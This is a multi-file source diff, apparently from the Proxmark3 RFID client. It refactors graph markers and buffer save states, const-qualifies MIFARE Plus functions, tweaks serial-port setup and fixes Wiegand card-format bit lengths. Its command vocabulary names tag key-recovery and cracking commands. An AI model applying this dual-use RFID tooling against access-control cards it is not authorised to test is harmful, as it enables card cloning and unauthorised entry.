return true; return true;
} }
void add_temporary_marker(uint32_t position, const char *label) {
if (g_TempMarkerSize == 0) { //Initialize the marker array
g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t));
} else { //add more space to the marker array using realloc()
marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t)));
if (temp == NULL) { //Unable to reallocate memory for a new marker
PrintAndLogEx(FAILED, "Unable to allocate memory for a new temporary marker!");
free(temp);
return;
} else {
//Set g_TempMarkers to the new pointer
g_TempMarkers = temp;
}
}
g_TempMarkers[g_TempMarkerSize].pos = position;
char *markerLabel = (char *)calloc(1, strlen(label) + 1);
strcpy(markerLabel, label);
if (strlen(markerLabel) > 30) {
PrintAndLogEx(WARNING, "Label for temporary marker too long! Trunicating...");
markerLabel[30] = '\0';
}
strncpy(g_TempMarkers[g_TempMarkerSize].label, markerLabel, 30);
g_TempMarkerSize++;
memset(markerLabel, 0x00, strlen(label));
free(markerLabel);
}
void remove_temporary_markers(void) {
if (g_TempMarkerSize == 0) return;
memset(g_TempMarkers, 0x00, (g_TempMarkerSize * sizeof(marker_t)));
free(g_TempMarkers);
g_TempMarkerSize = 0;
}
buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { buffer_savestate_t save_buffer32(uint32_t *src, size_t length) {
//calloc the memory needed //calloc the memory needed
uint32_t *savedBuffer = (uint32_t *)calloc(length, sizeof(uint32_t)); uint32_t *savedBuffer = (uint32_t *)calloc(length, sizeof(uint32_t));
@ -475,7 +519,8 @@ buffer_savestate_t save_buffer32(uint32_t *src, size_t length) {
buffer_savestate_t bst = { buffer_savestate_t bst = {
.type = sizeof(uint32_t), .type = sizeof(uint32_t),
.bufferSize = length, .bufferSize = length,
.buffer = savedBuffer .buffer = savedBuffer,
.padding = 0
}; };
return bst; return bst;
@ -491,7 +536,8 @@ buffer_savestate_t save_bufferS32(int32_t *src, size_t length) {
buffer_savestate_t bst = { buffer_savestate_t bst = {
.type = (sizeof(int32_t) >> 8), .type = (sizeof(int32_t) >> 8),
.bufferSize = length, .bufferSize = length,
.buffer = savedBuffer .buffer = savedBuffer,
.padding = 0
}; };
return bst; return bst;
@ -503,8 +549,11 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) {
// 1/4 of the size needed // 1/4 of the size needed
size_t buffSize = (length / 4); size_t buffSize = (length / 4);
PrintAndLogEx(DEBUG, "(save_buffer8) buffSize = %llu, length = %llu", buffSize, length);
if (length % 4) { if (length % 4) {
buffSize++; buffSize++;
PrintAndLogEx(DEBUG, "(save_buffer8) new buffSize = %llu", buffSize);
} }
// calloc the memory needed // calloc the memory needed
@ -520,7 +569,8 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) {
buffer_savestate_t bst = { buffer_savestate_t bst = {
.type = sizeof(uint8_t), .type = sizeof(uint8_t),
.bufferSize = buffSize, .bufferSize = buffSize,
.buffer = savedBuffer .buffer = savedBuffer,
.padding = ((buffSize * 4) - length)
}; };
return bst; return bst;
@ -558,13 +608,18 @@ size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) {
} }
size_t index = 0; size_t index = 0;
size_t length = ((saveState.bufferSize * 4) - saveState.padding);
// Unpack the array // Unpack the array
for (size_t i = 0; i < saveState.bufferSize; i++) { for (size_t i = 0; i < saveState.bufferSize; i++) {
dest[index++] = saveState.buffer[i]; dest[index++] = saveState.buffer[i];
if (index == length) break;
dest[index++] = (saveState.buffer[i] >> 8) & 0xFF; dest[index++] = (saveState.buffer[i] >> 8) & 0xFF;
if (index == length) break;
dest[index++] = (saveState.buffer[i] >> 16) & 0xFF; dest[index++] = (saveState.buffer[i] >> 16) & 0xFF;
if (index == length) break;
dest[index++] = (saveState.buffer[i] >> 24) & 0xFF; dest[index++] = (saveState.buffer[i] >> 24) & 0xFF;
if (index == length) break;
} }
return index; return index;

View file

@ -27,12 +27,18 @@ extern "C" {
typedef struct { typedef struct {
const uint8_t type; // Used for sanity checks const uint8_t type; // Used for sanity checks
const uint32_t *buffer; const uint32_t *buffer; // The storage buffer for this save state
const size_t bufferSize; const size_t bufferSize; // The size of the buffer
uint32_t offset; const uint8_t padding; // The amount of padding at the end of the buffer, if needed
uint32_t clock; //Not used by all buffers uint32_t offset; // (optional) Any offset the buffer needs after restoring
uint32_t clock; // (optional) Clock data for the buffer
} buffer_savestate_t; } buffer_savestate_t;
typedef struct {
uint32_t pos;
char label[30];
} marker_t;
void AppendGraph(bool redraw, uint16_t clock, int bit); void AppendGraph(bool redraw, uint16_t clock, int bit);
size_t ClearGraph(bool redraw); size_t ClearGraph(bool redraw);
bool HasGraphData(void); bool HasGraphData(void);
@ -51,6 +57,9 @@ int GetNrzClock(const char *str, bool verbose);
int GetFskClock(const char *str, bool verbose); int GetFskClock(const char *str, bool verbose);
bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge); bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge);
extern void add_temporary_marker(uint32_t position, const char *label);
extern void remove_temporary_markers(void);
buffer_savestate_t save_buffer32(uint32_t *src, size_t length); buffer_savestate_t save_buffer32(uint32_t *src, size_t length);
buffer_savestate_t save_bufferS32(int32_t *src, size_t length); buffer_savestate_t save_bufferS32(int32_t *src, size_t length);
buffer_savestate_t save_buffer8(uint8_t *src, size_t length); buffer_savestate_t save_buffer8(uint8_t *src, size_t length);
@ -68,6 +77,10 @@ extern int32_t g_OverlayBuffer[MAX_GRAPH_TRACE_LEN];
extern bool g_useOverlays; extern bool g_useOverlays;
extern size_t g_GraphTraceLen; extern size_t g_GraphTraceLen;
extern marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD;
extern marker_t *g_TempMarkers;
extern uint8_t g_TempMarkerSize;
extern double g_GridOffset; extern double g_GridOffset;
extern buffer_savestate_t g_saveState_gb; extern buffer_savestate_t g_saveState_gb;

View file

@ -158,7 +158,7 @@ Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8
rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n) rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
**/ **/
static void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) { static void rk(const uint8_t *key, uint8_t n, uint8_t *outp_key) {
memcpy(outp_key, key, 8); memcpy(outp_key, key, 8);
while (n-- > 0) { while (n-- > 0) {
outp_key[0] = rl(outp_key[0]); outp_key[0] = rl(outp_key[0]);

View file

@ -203,7 +203,7 @@ int CalculateMAC(mf4Session_t *mf4session, MACType_t mtype, uint8_t blockNum, ui
return aes_cmac8(NULL, mf4session->Kmac, macdata, mac, macdatalen); return aes_cmac8(NULL, mf4session->Kmac, macdata, mac, macdatalen);
} }
int MifareAuth4(mf4Session_t *mf4session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) {
uint8_t data[257] = {0}; uint8_t data[257] = {0};
int datalen = 0; int datalen = 0;
@ -375,7 +375,7 @@ static int intExchangeRAW14aPlus(uint8_t *datain, int datainlen, bool activateFi
return res; return res;
} }
int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { int MFPWritePerso(const uint8_t *keyNum, const uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) {
uint8_t rcmd[3 + 16] = {0xa8, keyNum[1], keyNum[0], 0x00}; uint8_t rcmd[3 + 16] = {0xa8, keyNum[1], keyNum[0], 0x00};
memmove(&rcmd[3], key, 16); memmove(&rcmd[3], key, 16);
@ -432,7 +432,7 @@ int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool nomaccmd, bool nomac
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, const uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) {
int cmdb = 0xA1; int cmdb = 0xA1;
if (nomacres) { if (nomacres) {
cmdb = cmdb ^ 0x01; // If we do not want MAC in reply, remove 0x01 cmdb = cmdb ^ 0x01; // If we do not want MAC in reply, remove 0x01

View file

@ -20,6 +20,7 @@
#define MIFARE4_H #define MIFARE4_H
#include "common.h" #include "common.h"
#include <stdbool.h>
typedef struct { typedef struct {
bool Authenticated; bool Authenticated;
@ -59,12 +60,12 @@ void mfpSetVerboseMode(bool verbose);
const char *mfpGetErrorDescription(uint8_t errorCode); const char *mfpGetErrorDescription(uint8_t errorCode);
int CalculateMAC(mf4Session_t *mf4session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); int CalculateMAC(mf4Session_t *mf4session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose);
int MifareAuth4(mf4Session_t *mf4session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode);
int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPWritePerso(const uint8_t *keyNum, const uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool maccmd, bool macres, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); int MFPReadBlock(mf4Session_t *mf4session, bool plain, bool nomaccmd, bool nomacres, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac);
int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); int MFPWriteBlock(mf4Session_t *mf4session, bool plain, bool nomacres, uint8_t blockNum, uint8_t blockHdr, const uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac);
int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *dataout, bool verbose); int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *dataout, bool verbose);
int MFPGetSignature(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPGetSignature(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);

View file

@ -118,6 +118,9 @@ const static vocabulary_t vocabulary[] = {
{ 1, "data diff" }, { 1, "data diff" },
{ 0, "data hexsamples" }, { 0, "data hexsamples" },
{ 0, "data samples" }, { 0, "data samples" },
{ 0, "data test_ss8" },
{ 0, "data test_ss32" },
{ 0, "data test_ss32s" },
{ 1, "emv help" }, { 1, "emv help" },
{ 1, "emv list" }, { 1, "emv list" },
{ 1, "emv test" }, { 1, "emv test" },
@ -170,6 +173,8 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf 14b wrbl" }, { 0, "hf 14b wrbl" },
{ 1, "hf 14b view" }, { 1, "hf 14b view" },
{ 1, "hf 14b valid" }, { 1, "hf 14b valid" },
{ 0, "hf 14b calypso" },
{ 0, "hf 14b mobib" },
{ 1, "hf 15 help" }, { 1, "hf 15 help" },
{ 1, "hf 15 list" }, { 1, "hf 15 list" },
{ 1, "hf 15 demod" }, { 1, "hf 15 demod" },
@ -618,6 +623,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf em 4x70 auth" }, { 0, "lf em 4x70 auth" },
{ 0, "lf em 4x70 setpin" }, { 0, "lf em 4x70 setpin" },
{ 0, "lf em 4x70 setkey" }, { 0, "lf em 4x70 setkey" },
{ 1, "lf em 4x70 calc" },
{ 1, "lf em 4x70 recover" }, { 1, "lf em 4x70 recover" },
{ 0, "lf em 4x70 autorecover" }, { 0, "lf em 4x70 autorecover" },
{ 1, "lf fdxb help" }, { 1, "lf fdxb help" },
@ -645,7 +651,8 @@ const static vocabulary_t vocabulary[] = {
{ 1, "lf hitag help" }, { 1, "lf hitag help" },
{ 1, "lf hitag list" }, { 1, "lf hitag list" },
{ 0, "lf hitag info" }, { 0, "lf hitag info" },
{ 1, "lf hitag selftest" }, { 0, "lf hitag reader" },
{ 1, "lf hitag test" },
{ 0, "lf hitag dump" }, { 0, "lf hitag dump" },
{ 0, "lf hitag read" }, { 0, "lf hitag read" },
{ 0, "lf hitag sniff" }, { 0, "lf hitag sniff" },
@ -655,6 +662,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf hitag eview" }, { 0, "lf hitag eview" },
{ 0, "lf hitag sim" }, { 0, "lf hitag sim" },
{ 0, "lf hitag cc" }, { 0, "lf hitag cc" },
{ 0, "lf hitag crack2" },
{ 0, "lf hitag chk" }, { 0, "lf hitag chk" },
{ 1, "lf hitag lookup" }, { 1, "lf hitag lookup" },
{ 0, "lf hitag ta" }, { 0, "lf hitag ta" },

View file

@ -24,9 +24,6 @@
#include "ui.h" // for prints #include "ui.h" // for prints
static ProxGuiQT *gui = NULL; static ProxGuiQT *gui = NULL;
marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD;
marker_t *g_TempMarkers;
uint8_t g_TempMarkerSize = 0;
static WorkerThread *main_loop_thread = NULL; static WorkerThread *main_loop_thread = NULL;
WorkerThread::WorkerThread(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) : script_cmds_file(script_cmds_file), script_cmd(script_cmd), stayInCommandLoop(stayInCommandLoop) { WorkerThread::WorkerThread(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) : script_cmds_file(script_cmds_file), script_cmd(script_cmd), stayInCommandLoop(stayInCommandLoop) {
@ -137,47 +134,6 @@ extern "C" void InitGraphics(int argc, char **argv, char *script_cmds_file, char
gui = new ProxGuiQT(argc, argv, main_loop_thread); gui = new ProxGuiQT(argc, argv, main_loop_thread);
} }
void add_temporary_marker(uint32_t position, const char *label) {
if (g_TempMarkerSize == 0) { //Initialize the marker array
g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t));
} else { //add more space to the marker array using realloc()
marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t)));
if (temp == NULL) { //Unable to reallocate memory for a new marker
PrintAndLogEx(FAILED, "Unable to allocate memory for a new temporary marker!");
free(temp);
return;
} else {
//Set g_TempMarkers to the new pointer
g_TempMarkers = temp;
}
}
g_TempMarkers[g_TempMarkerSize].pos = position;
char *markerLabel = (char *)calloc(1, strlen(label) + 1);
strcpy(markerLabel, label);
if (strlen(markerLabel) > 30) {
PrintAndLogEx(WARNING, "Label for temporary marker too long! Trunicating...");
markerLabel[30] = '\0';
}
strncpy(g_TempMarkers[g_TempMarkerSize].label, markerLabel, 30);
g_TempMarkerSize++;
memset(markerLabel, 0x00, strlen(label));
free(markerLabel);
}
void remove_temporary_markers(void) {
if (g_TempMarkerSize == 0) return;
memset(g_TempMarkers, 0x00, (g_TempMarkerSize * sizeof(marker_t)));
free(g_TempMarkers);
g_TempMarkerSize = 0;
}
extern "C" void ExitGraphics(void) { extern "C" void ExitGraphics(void) {
if (!gui) if (!gui)
return; return;

View file

@ -27,11 +27,6 @@ extern "C" {
#include <stddef.h> #include <stddef.h>
#include <stdbool.h> #include <stdbool.h>
typedef struct {
uint32_t pos;
char label[30];
} marker_t;
void ShowGraphWindow(void); void ShowGraphWindow(void);
void HideGraphWindow(void); void HideGraphWindow(void);
void RepaintGraphWindow(void); void RepaintGraphWindow(void);
@ -46,16 +41,9 @@ void MainGraphics(void);
void InitGraphics(int argc, char **argv, char *script_cmds_file, char *script_cmd, bool stayInCommandLoop); void InitGraphics(int argc, char **argv, char *script_cmds_file, char *script_cmd, bool stayInCommandLoop);
void ExitGraphics(void); void ExitGraphics(void);
//Temporary Marker Functions
extern void add_temporary_marker(uint32_t position, const char *label);
extern void remove_temporary_markers(void);
extern double g_CursorScaleFactor; extern double g_CursorScaleFactor;
extern char g_CursorScaleFactorUnit[11]; extern char g_CursorScaleFactorUnit[11];
extern double g_PlotGridX, g_PlotGridY, g_DefaultGridX, g_DefaultGridY; extern double g_PlotGridX, g_PlotGridY, g_DefaultGridX, g_DefaultGridY;
extern marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD;
extern marker_t *g_TempMarkers;
extern uint8_t g_TempMarkerSize;
extern uint32_t g_GraphStart, g_GraphStart_old, g_GraphStop; extern uint32_t g_GraphStart, g_GraphStart_old, g_GraphStop;
extern int CommandFinished; extern int CommandFinished;
extern int offline; extern int offline;

View file

@ -1268,15 +1268,23 @@ void Plot::wheelEvent(QWheelEvent *event) {
void Plot::mouseMoveEvent(QMouseEvent *event) { void Plot::mouseMoveEvent(QMouseEvent *event) {
int x = event->x(); int x = event->x();
//Only run the marker place code if a mouse button is pressed
if ((event->buttons() & Qt::LeftButton) || (event->buttons() & Qt::RightButton)) {
x -= WIDTH_AXES; x -= WIDTH_AXES;
x = (int)(x / g_GraphPixelsPerPoint); x = (int)(x / g_GraphPixelsPerPoint);
x += g_GraphStart; x += g_GraphStart;
if ((event->buttons() & Qt::LeftButton)) { if (x > (int)g_GraphTraceLen) x = 0; // Set to 0 if the number is stupidly big
else if (x < (int)g_GraphStart) x = (int)g_GraphStart; // Bounds checking for the start of the Graph Window
else if (x > (int)g_GraphStop) x = (int)g_GraphStop; // Bounds checking for the end of the Graph Window
if ((event->buttons() & Qt::LeftButton)) { // True for left click, false otherwise
g_MarkerA.pos = x; g_MarkerA.pos = x;
} else if (event->buttons() & Qt::RightButton) { } else {
g_MarkerB.pos = x; g_MarkerB.pos = x;
} }
}
this->update(); this->update();
} }

View file

@ -30,6 +30,7 @@
#include <QtGui> #include <QtGui>
#include "proxgui.h" #include "proxgui.h"
#include "graph.h"
#include "ui/ui_overlays.h" #include "ui/ui_overlays.h"
#include "ui/ui_image.h" #include "ui/ui_image.h"

View file

@ -385,7 +385,7 @@ void
__attribute__((force_align_arg_pointer)) __attribute__((force_align_arg_pointer))
#endif #endif
#endif #endif
main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) { main_loop(const char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) {
char *cmd = NULL; char *cmd = NULL;
bool execCommand = (script_cmd != NULL); bool execCommand = (script_cmd != NULL);
@ -777,31 +777,29 @@ static void show_help(bool showFullHelp, char *exec_name) {
} }
static int dumpmem_to_file(const char *filename, uint32_t addr, uint32_t len, bool raw, bool in_bootloader) { static int dumpmem_to_file(const char *filename, uint32_t addr, uint32_t len, bool raw, bool in_bootloader) {
int res = PM3_EUNDEF;
uint8_t *buffer = calloc(len, sizeof(uint8_t)); uint8_t *buffer = calloc(len, sizeof(uint8_t));
if (!buffer) { if (buffer == NULL) {
PrintAndLogEx(ERR, "error, cannot allocate memory "); PrintAndLogEx(ERR, "error, cannot allocate memory ");
res = PM3_EMALLOC; return PM3_EMALLOC;
goto fail;
} }
size_t read = 0; int res = PM3_EUNDEF;
size_t readlen = 0;
DeviceMemType_t type = raw ? MCU_MEM : MCU_FLASH; DeviceMemType_t type = raw ? MCU_MEM : MCU_FLASH;
if (GetFromDevice(type, buffer, len, addr, NULL, 0, NULL, 1000, true)) { if (GetFromDevice(type, buffer, len, addr, NULL, 0, NULL, 1000, true)) {
res = PM3_SUCCESS; res = PM3_SUCCESS;
read = len; // GetFromDevice does not report the actual number of bytes received. readlen = len; // GetFromDevice does not report the actual number of bytes received.
} }
if (res == PM3_SUCCESS) { if (res == PM3_SUCCESS) {
if (saveFile(filename, ".bin", buffer, read) != 0) { res = saveFile(filename, ".bin", buffer, readlen);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "error writing to file "_YELLOW_("%s"), filename); PrintAndLogEx(ERR, "error writing to file "_YELLOW_("%s"), filename);
res = PM3_EFILE;
} }
} }
free(buffer); free(buffer);
fail:
return res; return res;
} }
@ -1441,7 +1439,7 @@ int main(int argc, char *argv[]) {
MainGraphics(); MainGraphics();
# else # else
// for *nix distro's, check environment variable to verify a display // for *nix distro's, check environment variable to verify a display
char *display = getenv("DISPLAY"); const char *display = getenv("DISPLAY");
if (display && strlen(display) > 1) { if (display && strlen(display) > 1) {
InitGraphics(argc, argv, script_cmds_file, script_cmd, stayInCommandLoop); InitGraphics(argc, argv, script_cmds_file, script_cmd, stayInCommandLoop);
MainGraphics(); MainGraphics();

View file

@ -64,7 +64,7 @@ const char *get_my_executable_path(void);
const char *get_my_executable_directory(void); const char *get_my_executable_directory(void);
const char *get_my_user_directory(void); const char *get_my_user_directory(void);
void pm3_init(void); void pm3_init(void);
void main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop); void main_loop(const char *script_cmds_file, char *script_cmd, bool stayInCommandLoop);
#ifdef __cplusplus #ifdef __cplusplus
} }

View file

@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
return INVALID_SERIAL_PORT; return INVALID_SERIAL_PORT;
} }
// Flush all lingering data that may exist
tcflush(sp->fd, TCIOFLUSH);
// Duplicate the (old) terminal info struct // Duplicate the (old) terminal info struct
sp->tiNew = sp->tiOld; sp->tiNew = sp->tiOld;
// Configure the serial port // Configure the serial port.
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_iflag = IGNPAR;
sp->tiNew.c_oflag = 0; sp->tiNew.c_oflag = 0;
sp->tiNew.c_lflag = 0; sp->tiNew.c_lflag = 0;
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
// Block until a timer expires (n * 100 mSec.) // Block until a timer expires (n * 100 mSec.)
sp->tiNew.c_cc[VTIME] = 0; sp->tiNew.c_cc[VTIME] = 0;
// more configurations
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
sp->tiNew.c_cc[VERASE] = 0; /* del */
sp->tiNew.c_cc[VKILL] = 0; /* @ */
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
// Try to set the new terminal info struct // Try to set the new terminal info struct
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
PrintAndLogEx(ERR, "error: UART set terminal info attribute"); PrintAndLogEx(ERR, "error: UART set terminal info attribute");
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
// Set port speed (Input and Output) // Set port speed (Input and Output)
cfsetispeed(&ti, stPortSpeed); cfsetispeed(&ti, stPortSpeed);
cfsetospeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed);
// flush
tcflush(spu->fd, TCIOFLUSH);
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
if (result) if (result) {
g_conn.uart_speed = uiPortSpeed; g_conn.uart_speed = uiPortSpeed;
}
return result; return result;
} }

View file

@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool
if (card->OEM > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format
packed->Length = 27; packed->Length = 27;
set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
if (preamble) if (preamble)
return add_HID_header(packed); return add_HID_header(packed);
@ -166,7 +166,7 @@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) {
if (packed->Length != 27) return false; // Wrong length? Stop here. if (packed->Length != 27) return false; // Wrong length? Stop here.
card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
return true; return true;
} }
@ -591,7 +591,11 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr
if (card->IssueLevel > 0) return false; // Not used in this format if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format
packed->Length = 36; // Set number of bits packed->Length = 37; // Set number of bits
// first bit is ONE.
set_bit_by_position(packed, 1, 0);
// This card is BCD-encoded rather than binary. Set the 4-bit groups independently. // This card is BCD-encoded rather than binary. Set the 4-bit groups independently.
for (uint32_t idx = 0; idx < 8; idx++) { for (uint32_t idx = 0; idx < 8; idx++) {
set_linear_field(packed, (uint64_t)(card->CardNumber / pow(10, 7 - idx)) % 10, idx * 4, 4); set_linear_field(packed, (uint64_t)(card->CardNumber / pow(10, 7 - idx)) % 10, idx * 4, 4);
@ -616,7 +620,10 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr
static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) { static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t)); memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 36) return false; // Wrong length? Stop here. if (packed->Length != 37) return false; // Wrong length? Stop here.
if (get_bit_by_position(packed, 0) != 1) {
return false;
}
// This card is BCD-encoded rather than binary. Get the 4-bit groups independently. // This card is BCD-encoded rather than binary. Get the 4-bit groups independently.
for (uint32_t idx = 0; idx < 8; idx++) { for (uint32_t idx = 0; idx < 8; idx++) {
@ -1178,7 +1185,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr
set_linear_field(packed, card->FacilityCode, 5, 10); set_linear_field(packed, card->FacilityCode, 5, 10);
set_linear_field(packed, card->CardNumber, 15, 22); set_linear_field(packed, card->CardNumber, 15, 22);
set_linear_field(packed, card->IssueLevel, 1, 4); set_linear_field(packed, card->OEM, 1, 4);
set_bit_by_position(packed, set_bit_by_position(packed,
evenparity32(get_linear_field(packed, 1, 18)) evenparity32(get_linear_field(packed, 1, 18))
@ -1257,7 +1264,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
if (card->IssueLevel > 0) return false; // Not used in this format if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0x7F) return false; // Not used in this format if (card->OEM > 0x7F) return false; // Not used in this format
packed->Length = 39; // Set number of bits packed->Length = 40; // Set number of bits
set_linear_field(packed, card->OEM, 0, 7); set_linear_field(packed, card->OEM, 0, 7);
@ -1277,7 +1284,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t)); memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 39) return false; // Wrong length? Stop here. if (packed->Length != 40) return false; // Wrong length? Stop here.
card->OEM = get_linear_field(packed, 0, 7); card->OEM = get_linear_field(packed, 0, 7);
